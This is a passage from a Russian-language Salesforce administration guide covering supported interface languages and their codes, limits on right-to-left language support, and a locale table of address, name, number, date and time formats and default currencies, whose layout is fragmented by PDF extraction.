веб-интерфейсом Salesforce.

• Личныйязык: данныйязыкиспользуетсядляотображениявсехэлементовинтерфейса
(текст, изображения, кнопки и интерактивная справка). Чтобы изменить данный
параметр, измените личные сведения.

• Стандартный язык организации: данный язык применяется ко всем новым
пользователям, еслиневыбранличныйязык. Крометого, данныйпараметропределяет
язык, используемый для хранения всех настроек (например, настраиваемые поля,
вкладки и параметры пользовательского интерфейса). Данный стандартный параметр не переопределяется личным
языкомпользователей. Некоторыеэлементынастройки, введенныеадминистраторомвручную, могутбытьпереведены
в средстве перевода.

Данный параметр может быть изменен администратором путем редактирования сведений о компании.

Текст, введенный пользователем, отображается на языке ввода.

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте

Какие языки поддерживает система Salesforce?

Компания Salesforceпредлагает три уровня языковойподдержки: основные языки, языки конечногопользователяи языки
платформы. Каждый язык определяется двузначным кодом, например en или пятизначным кодом региона, например
en_AU.

В дополнение к поддержке языка Salesforce можно локализовать организации двумя способами. Средство перевода
позволяет выбрать языки перевода, назначить переводчиков и создать переводы настроек, выполненных в организации
Salesforce, а также переопределить метки и переводы из управляемых пакетов. С помощью средства перевода могут быть
переведены любые элементы интерфейса — от значений настраиваемых раскрывающихся списков до значений
настраиваемых полей, поэтому пользователи из других стран смогут в полной мере оценить все достоинства системы
Salesforce на своем родном языке.
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Вторым вариантом является переименование вкладок и полей в Salesforce. Если в пользовательском приложении
используется лишь несколько стандартных вкладок и полей Salesforce, их можно перевести.

Основные языки

Можно изменить язык для всех функций, в том числе для справки, на один из следующих полностью поддерживаемых
языков: в меню «Настройка» ввести «Сведения о компании» в поле «Быстрый поиск», затем выбрать «Сведения о
компании», далее нажать кнопку «Правка».

• Китайский (упрощенный): zh_CN

• Китайский (традиционный): zh_TW

• Датский: da

• Голландский: nl_NL

• Английский: en_US

• Финский: fi

• Французский: fr

• Немецкий: de

• Итальянский: it

• Японский: ja

• Корейский: ko

• Норвежский: no

• Португальский (Бразилия): pt_BR

• Русский: ru

• Испанский: es

• Испанский (Мексика): es_MX

• Шведский: sv

• Тайский: th

Прим.:

• «Испанский (Мексика)», вместо которого используется язык «Испанский» для пользовательских переводов.

• Хотя пользовательский интерфейс Salesforce полностью переведен на тайский язык, справка остается на
английском.

Языки конечного пользователя

Языки конечного пользователя предназначены для многоязычных организаций или организаций, партнеры которых
используют языки, отличные от стандартного языка компании. Что касается языков конечных пользователей, в Salesforce
предусмотреныпереведенныеметкидлявсех стандартныхобъектовистраниц, заисключением страницадминистрирования,
меню «Настройка» и справки. При задании языка конечного пользователя непереведенные метки и справка, выводятся
на английском языке. Языки конечного пользователя предназначены только для личного использования конечными
пользователями. Не используйте языки конечного пользователя как корпоративные языки. SalesForce не обеспечивает
поддержку клиентов на языках конечного пользователя.

Ниже перечислены языки конечного пользователя:

• Арабский: ar
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• Болгарский: bg

• Хорватский: hr

• Чешский: cs

• Английский (Великобритания): en_GB

• Греческий: el

• Еврейский: iw

• Венгерский: hu

• Индонезийский: in

• Польский: pl

• Португальский (Португалия): pt_PT

• Румынский: ro

• Словацкий: sk

• Словенский: sl

• Турецкий: tr

• Украинский: uk

• Вьетнамский: vi

Прим.: Salesforce предоставляет ограниченную поддержку для языков с направлением справа налево, арабского и
иврита, для следующихфункций.

• Live Agent

• Обращения

• Организации

Эти функции не поддерживаются в Lightning Experience, мобильном приложении Salesforce1, в любых других
мобильных приложениях или браузерах или в любых пользовательских интерфейсах, кроме Salesforce Classic. Мы
не гарантируем корректную работу при использовании языков, письмо в которых ориентировано справа налево, с
любыми другимифункциями Salesforce. У нас нет планов расширять список поддерживаемых функций.

Ниже перечисленыфункции, которые не поддерживаются для языков с направлением справа налево.

• Конструктор отчетов

• Создание котировок в PDF

• Настраиваемое прогнозирование

• Сообщения эл. почты

• Salesforce Knowledge

• Ленты

• Сообщества

Отсутствие функции в этом списке не предполагает поддержку. Только Live Agent, «Обращения» и «Организации»
поддерживаются с языками направления справа налево.

Языки платформы

В ситуациях, когда Salesforce не предоставляет перевод по умолчанию, используйте только платформенные языки для
локализацииприложенийисобственныефункции, созданныенаОблакеприложений Salesforce. Можноперевеститакие
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элементы, как настраиваемые метки, настраиваемые объекты и имена полей. Можно также переименовать большинство
стандартных объектов, меток и полей. Информационный текст и неполевой текст метки не подлежат переводу.

Языки платформы могут быть выбраны во всех раскрывающихся списках языков. Тем не менее, при выборе языка
платформы все стандартные метки системы Salesforce по умолчанию отображаются на английском языке, либо (при
выборе обращений) на языке конечного пользователя или на основном языке.

При выборе языка платформы метки стандартных объектов и полей используют язык «Английский». Данное правило
не распространяется на следующие языки:

• «Английский (Австралия)», «Английский (Индия)», «Английский (Малайзия)» и «Английский (Филиппины)», вместо
которых используется язык «Английский (Великобритания)».

• «Немецкий (Австрия)» и «Немецкий (Швейцария)», вместо которых используется язык «Немецкий».

• «Французский (Канада)», вместо которого используется язык «Французский».

• «Румынский (Молдова)», вместо которого используется язык «Румынский».

• «Черногорский», вместо которого используется язык «Сербский (латиница)».

• «Португальский (Португалия)», вместо которого используется язык «Португальский (Бразилия)».

Ниже перечислены поддерживаемые языки платформы.

• Албанский: sq

• Арабский (Алжир): ar_DZ

• Арабский (Бахрейн): ar_BH

• Арабский (Египет): ar_EG

• Арабский (Ирак): ar_IQ

• Арабский (Иордания): ar_JO

• Арабский (Кувейт): ar_KW

• Арабский (Ливан): ar_LB

• Арабский (Ливия): ar_LY

• Арабский (Марокко): ar_MA

• Арабский (Оман): ar_OM

• Арабский (Катар): ar_QA

• Арабский (Саудовская Аравия): ar_SA

• Арабский (Судан): ar_SD

• Арабский (Сирия): ar_SY

• Арабский (Тунис): ar_TN

• Арабский (Объединённые Арабские Эмираты): ar_AE

• Арабский (Йемен): ar_YE

• Армянский: hy

• Баскский: eu

• Боснийский: bs

• Бенгальский: bn

• Китайский (упрощенный, Сингапур): zh_SG

• Китайский (традиционный, Гонконг): zh_HK

• Английский (Австралия): en_AU
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• Английский (Канада): en_CA

• Английский (Гонконг): en_HK

• Английский (Индия): en_IN

• Английский (Ирландия): en_IE

• Английский (Малайзия): en_MY

• Английский (Филиппины): en_PH

• Английский (Сингапур): en_SG

• Английский (ЮАР): en_ZA

• Эстонский: et

• Французский (Бельгия): fr_BE

• Французский (Канада): fr_CA

• Французский (Люксембург): fr_LU

• Французский (Швейцария): fr_CH

• Грузинский: ka

• Немецкий (Австрия): de_AT

• Немецкий (Люксембург): de_LU

• Немецкий (Швейцария): de_CH

• Хинди: hi

• Исландский: is

• Ирландский: ga

• Итальянский (Швейцария): it_CH

• Латышский: lv

• Литовский: lt

• Люксембургский: lb

• Македонский: mk

• Малайский: ms

• Мальтийский: mt

• Румынский (Молдова): ro_MD

• Черногорский: sh_ME

• Ретороманский: rm

• Сербский (кириллица): sr

• Сербский (латиница): sh

• Испанский (Аргентина): es_AR

• Испанский (Боливия): es_BO

• Испанский (Чили): es_CL

• Испанский (Колумбия): es_CO

• Испанский (Коста-Рика): es_CR

• Испанский (Доминиканская Республика): es_DO

• Испанский (Эквадор): es_EC

• Испанский (Сальвадор): es_SV
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• Испанский (Гватемала): es_GT

• Испанский (Гондурас): es_HN

• Испанский (Никарагуа): es_NI

• Испанский (Панама): es_PA

• Испанский (Парагвай): es_PY

• Испанский (Перу): es_PE

• Испанский (Пуэрто-Рико): es_PR

• Испанский (США): es_US

• Испанский (Уругвай): es_UY

• Испанский (Венесуэла): es_VE

• Тагальский: tl

• Тамильский: ta

• Урду: ur

• Уэльский: cy

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте

Включение и выключение средства перевода
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Поддерживаемые регионы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Database.com Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
компании:
• «Просмотр настройки и

конфигурации»

Для изменения сведений о
компании:
• «Настройка

приложения»

Доступные параметры
настройки определяются
используемой версией
Salesforce.

Региональные параметры Salesforce определяют форматы отображения для даты и
времени, имен пользователей, адресов и точек/запятых, используемых в числовых
значениях. Кроме того, регионы определяют стандартные валюты для одновалютных
организаций посредством раскрывающегося списка «Регион валюты» на странице
«Сведения о компании».

Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Адрес:
строка 1,

Адрес:
строка 2

Город,
Область
Почтовый
индекс

Страна

Обращение
Имя
Фамилия

1.234,566.00.PD2008-02-28
4.30.PM

Албанский
лек: ALL

sq_ALАлбанский
(Албания)

Адрес:
строка 1,

Адрес:
строка 2

Город,
Область
Почтовый
индекс

Обращение
Имя
Фамилия

        :    /  /       :  
PM

Алжирский
динар:
DZD

ar_DZАрабский
(Алжир)

Страна

Адрес:
строка 1,

Адрес:
строка 2

Обращение
Имя
Фамилия

        :    /  /       :  
PM

Бахрейнский
динар:
BHD

ar_BHАрабский
(Бахрейн)

Город,
Область
Почтовый
индекс

Страна

Адрес:
строка 1,

Адрес:
строка 2

Обращение
Имя
Фамилия

        :    /  /       :  
PM

Египетский
фунт:
EGP

ar_EGАрабский
(Египет)

321

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMИракский
динар: IQD

ar_IQАрабский
(Ирак)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMИорданский
динар: JOD

ar_JOАрабский
(Иордания)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMКувейтский
динар: KWD

ar_KWАрабский
(Кувейт)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMЛиванский
фунт: LBP

ar_LBАрабский
(Ливан)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMЛивийский
динар: LYD

ar_LYАрабский
(Ливия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMМарокканский
дирхам: MAD

ar_MAАрабский
(Марокко)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMОманский
риал: OMR

ar_OMАрабский
(Оман)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMКатарский
риал: QAR

ar_QAАрабский
(Катар)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMСаудовский
риал: SAR

ar_SAАрабский
(Саудовская
Аравия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMСуданский
фунт: SDG

ar_SDАрабский
(Судан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMСирийский
фунт: SYP

ar_SYАрабский
(Сирия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMТунисский
динар: TND

ar_TNАрабский
(Тунис)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMДирхам
ОАЭ: AED

ar_AEАрабский
(Объединённые
Арабские
Эмираты)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

        :    /  /       :   PMЙеменский
риал: YER

ar_YEАрабский
(Йемен)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1234,5606:0002/28/2008
16:30

Армянский
драм: AMD

hy_AMАрмянский
(Армения)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:002008-02-28
16:30

Новый
азербайджанский
манат: AZN

az_AZАзербайджанский
(Азербайджан)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:002008-02-28
16:30

Евро: EUReu_ESБаскский
(Испания)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566.0028.2.2008
16.30

Белорусский
рубль: BYR

be_BYБелорусский
(Белоруссия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

       :              / /      :   PMБангладешская
така: BDT

bn_BDБенгальский
(Бангладеш)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008.
16:30

Конвертируемые
марки: BAM

bs_BAБоснийский
(Босния и
Герцеговина)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:002008-2-28
16:30

Болгарский
лев: BGN

bg_BGБолгарский
(Болгария)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

 ,   .    :      /  /     :  Кьят
Мьянмы:
MMK

my_MMБирманский
(Мьянма
[Бирма])

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028/02/2008
16:30

Евро: EURca_ES_EUROКаталонский
(Испания,
евро)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028/02/2008
16:30

Евро: EURca_ESКаталонский
(Испания)
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56上午6:002008-2-28
PM4:30

Китайский
юань: CNY

zh_CN_PINYINКитайский
(Китай, по
звукам)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56上午6:002008-2-28
PM4:30

Китайский
юань: CNY

zh_CN_STROKEКитайский
(Китай, по
штрихам)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56上午6:002008-2-28
PM4:30

Китайский
юань: CNY

zh_CNКитайский
(Китай)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56  6:002008 2 28 
PM4:30

Гонконгский
доллар: HKD

zh_HK_STROKEКитайский
(Гонконг, по
штрихам)

Область
Город
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56  6:002008 2 28 
PM4:30

Гонконгский
доллар: HKD

zh_HKКитайский
(Гонконг)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56  6:002008 2 28 
PM4:30

Патака
Макао: MOP

zh_MOКитайский
(Макао)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56   06:0028/02/2008
PM 04:30

Сингапурский
доллар: SGD

zh_SGКитайский
(Сингапур)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56上午

06:00:00

2008-2-28 PM
4:30

Тайваньский
доллар: TWD

zh_TW_STROKEКитайский
(Тайвань, по
штрихам)

Область
Город
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56上午 6:002008-2-28 PM
4:30

Тайваньский
доллар: TWD

zh_TWКитайский
(Тайвань)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008.
16:30

Хорватская
куна: HRK

hr_HRХорватский
(Хорватия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.2.2008
16:30

Чешская
крона: CZK

cs_CZЧешский
(Чешская
Республика)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028-02-2008
16:30

Датская
крона: DKK

da_DKДатский
(Дания)

Город,
Область

330

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-2-2008
16:30

Арубский
флорин: AWG

nl_AWГолландский
(Аруба)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Евро: EURnl_BEГолландский
(Бельгия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-2-2008
16:30

Евро: EURnl_NLГолландский
(Нидерланды)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-2-2008
16:30

Суринамский
доллар: SRD

nl_SRГолландский
(Суринам)

Город,
Область

331
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Нгултрум
Бутана: BTN

dz_BTДзонг-кэ
(Бутан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Восточно-карибский
доллар: XCD

en_AGАнглийский
(Антигуа и
Барбуда)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
4:30 PM

Австралийский
доллар: AUD

en_AUАнглийский
(Австралия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Багамский
доллар: BSD

en_BSАнглийский
(Багамы)

Город,
Область

332

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Барбадосский
доллар: BBD

en_BBАнглийский
(Барбадос)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Доллар
Белиза: BZD

en_BZАнглийский
(Белиз)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Бермудский
доллар: BMD

en_BMАнглийский
(Бермудские
острова)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
4:30 PM

Ботсванский
пула: BWP

en_BWАнглийский
(Ботсвана)

Город,
Область

333
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Франк КФА
(BEAC): XAF

en_CMАнглийский
(Камерун)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
4:30 PM

Канадский
доллар: CAD

en_CAАнглийский
(Канада)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Доллар
Каймановых
островов: KYD

en_KYАнглийский
(Каймановы
острова)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Накфа
Эритреи: ERN

en_ERАнглийский
(Эритрея)

Город,
Область

334
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Фунт
Фолклендских
островов: FKP

en_FKАнглийский
(Фолклендские
острова)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Фиджийский
доллар: FJD

en_FJАнглийский
(Фиджи)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Даласи
Гамбии: GMD

en_GMАнглийский
(Гамбия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Ганский
седи: GHS

en_GHАнглийский
(Гана)

Город,
Область

335
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Гибралтарский
фунт: GIP

en_GIАнглийский
(Гибралтар)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Гайанский
доллар: GYD

en_GYАнглийский
(Гайана)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/2/2008 4:30
PM

Гонконгский
доллар: HKD

en_HKАнглийский
(Гонконг)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/2/2008 4:30
PM

Индийская
рупия: INR

en_INАнглийский
(Индия)

Город,
Область

336
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Индонезийская
рупия: IDR

en_IDАнглийский
(Индонезия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Евро: EURen_IE_EUROАнглийский
(Ирландия,
евро)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Евро: EURen_IEАнглийский
(Ирландия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Ямайский
доллар: JMD

en_JMАнглийский
(Ямайка)

Город,
Область

337
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Кенийский
шиллинг: KES

en_KEАнглийский
(Кения)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Либерийский
доллар: LRD

en_LRАнглийский
(Либерия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Малагасийский
ариари: MGA

en_MGАнглийский
(Мадагаскар)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Малавийская
квача: MWK

en_MWАнглийский
(Малави)

Город,
Область

338
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Малайзийский
ринггит: MYR

en_MYАнглийский
(Малайзия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Маврикийская
рупия: MUR

en_MUАнглийский
(Маврикий)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Намибийский
доллар: NAD

en_NAАнглийский
(Намибия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
4:30 PM

Новозеландский
доллар: NZD

en_NZАнглийский
(Новая
Зеландия)

Город,
Область

339
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Нигерийская
найра: NGN

en_NGАнглийский
(Нигерия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Пакистанская
рупия: PKR

en_PKАнглийский
(Пакистан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Кина
Папуа-Новой
Гвинеи: PGK

en_PGАнглийский
(Папуа-Новая
Гвинея)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Филиппинское
песо: PHP

en_PHАнглийский
(Филиппины)

Город,
Область

340
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Руандийский
франк: RWF

en_RWАнглийский
(Руанда)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Фунт о-ва Св.
Елены: SHP

en_SHАнглийский
(Остров
Святой
Елены)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Тала Самоа:
WST

en_WSАнглийский
(Самоа)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Сейшельская
рупия: SCR

en_SCАнглийский
(Сейшелы)

Город,
Область

341
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Леоне
Сьерра-Леоне:
SLL

en_SLАнглийский
(Сьерра-Леоне)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
16:30

Сингапурский
доллар: SGD

en_SGАнглийский
(Сингапур)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

